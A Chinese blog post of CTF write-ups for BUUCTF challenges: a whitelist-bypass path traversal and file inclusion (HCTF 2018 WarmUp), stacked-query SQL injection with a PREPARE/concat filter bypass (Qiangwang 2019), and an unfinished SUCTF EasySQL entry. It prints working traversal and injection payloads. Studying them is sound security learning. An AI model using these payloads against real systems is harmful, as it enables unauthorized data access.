BUUCTF持续更新中

这篇博客主要记录了作者参加的多个CTF赛事,包括HCTF、强网杯、SUCTF等,重点讲述了遇到的各种SQL注入题目。文章详细分析了如何利用SQL注入漏洞,如通过堆叠查询、预处理语句、符号过滤绕过等方法,以及文件包含、源码泄露等其他攻击手段,展示了攻防过程和解题思路。
摘要由CSDN通过智能技术生成

[HCTF 2018]WarmUp

这里补充一个知识点:phpmyadmin 4.8.1任意文件包含

环境我已经启动了
在这里插入图片描述
去访问一下

在这里插入图片描述
源码有提示 去访问一下

在这里插入图片描述然后看到了源码

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

在这里插入图片描述
这里白名单里给了一个提示

在这里插入图片描述尝试直接去访问它

在这里插入图片描述
报错了…

尝试穿越目录去访问

在这里插入图片描述依然报错了

看源码吧

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//这里是提供了两个白名单
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(  //返回中文字符串的一部分
                $page,
                0,
                mb_strpos($page . '?', '?')  

//我们输入flag  但其实它在你的字符串后面加了一个问号,然后返回问号的位置,就是=4

//所以想绕过这里,直接?flag,他检测到的问号就是0,然后0,0没有执行 就绕过了

            );
            if (in_array($_page, $whitelist)) {  //检测是不是在白名单
/hint.php?flag  进行绕过  进行目录穿越就可以了
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
//上面是定义了一个类

    if (! empty($_REQUEST['file'])  //如果变量不存在的话,empty()并不会产生警告。 
        && is_string($_REQUEST['file'])  //必须是字符串
        && emmm::checkFile($_REQUEST['file'])  //上面的那个类
    ) {
        include $_REQUEST['file'];  //就包含这个文件   参数也就是file
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

所以 最后就是 这样

?file=hint.php?../../../../../../../../ffffllllaaaagggg

就得到了flag

在这里插入图片描述
flag{acbbba26-c81b-4603-bcb7-25f78adeab18}

[强网杯 2019]随便注

进入题目链接

在这里插入图片描述

  • 1.输入:1' 查看注入类型

在这里插入图片描述
所以他的sql语句是单引号过滤

  • 2.查看字段 (为2)

1' order by 2#

在这里插入图片描述

  • 3.显示回显

1' union select 1,2#
在这里插入图片描述相当于告诉了我们它的过滤

尝试用堆叠查询试试了

  • 4.查库

1;show database();

在这里插入图片描述

  • 5.查表

1';show tables;#

在这里插入图片描述
所以是有两个表

1919810931114514
words
  • 6.查列
1';show columns from `words`;#

在这里插入图片描述

表名words需要被 ` 这个符号包起来,这个符号是 esc下面一个的按键,这个符号在mysql里 用于 分割其他命令,表示此为(表名、字段名)

1';show columns from `1919810931114514`;#

在这里插入图片描述看到flag了!!!

那么如何查询到数据呢? select 函数被过滤了,其实mysql的函数有很多

这里通过 MYSQL的预处理语句,使用 :

concat('s','elect',' * from `1919810931114514`')

完成绕过

构造pyload:

1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#

在这里插入图片描述

flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81}

[SUCTF 2019]EasySQL

环境我已经启动了 进入题目链接

在这里插入图片描述

老套路 先看看源码里面有什么东西

在这里插入图片描述

不出意料的什么都没有

但是提示我们它是POST传参

这是一道SQL注入的题目

不管输入什么数字,字母 都是这的 没有回显

在这里插入图片描述
但是输入:0没有回显 不知道为啥

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值